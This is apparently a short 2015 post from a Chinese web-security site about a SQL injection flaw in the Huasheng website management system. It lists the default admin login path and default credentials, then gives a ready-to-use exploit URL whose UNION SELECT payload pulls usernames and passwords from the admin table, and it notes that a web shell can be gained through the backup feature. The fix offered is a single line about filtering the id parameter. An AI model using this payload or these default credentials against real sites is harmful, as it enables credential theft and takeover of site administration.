华盛网站管理系统注入及修复 - 网站安全

华盛网站管理系统注入及修复 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 默认后台：admin/Login.asp默认密码：admin 123456exp:http://www.wcto.com /show_pt.asp?id=1568 and 1=2 union select 1,password,3,username,5,6,7,8,9,10,11,12,13,14,15 from admin注：错误会返回......

默认后台：admin/Login.asp
默认密码：admin 123456

exp:
http://www.2cto.com /show_pt.asp?id=1568 and 1=2 union select 1,password,3,username,5,6,7,8,9,10,11,12,13,14,15 from admin

注：错误会返回主页。如字段不对，自行构造！拿shell有备份。

修复：
对该页面id参数进行过滤

顺丰综合管理平台服务器沦陷 - 网站安全 - 自学

博文非书资料管理系统SQL注射 - 网站安全 - 自学

子栏目

华盛网站管理系统注入及修复 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论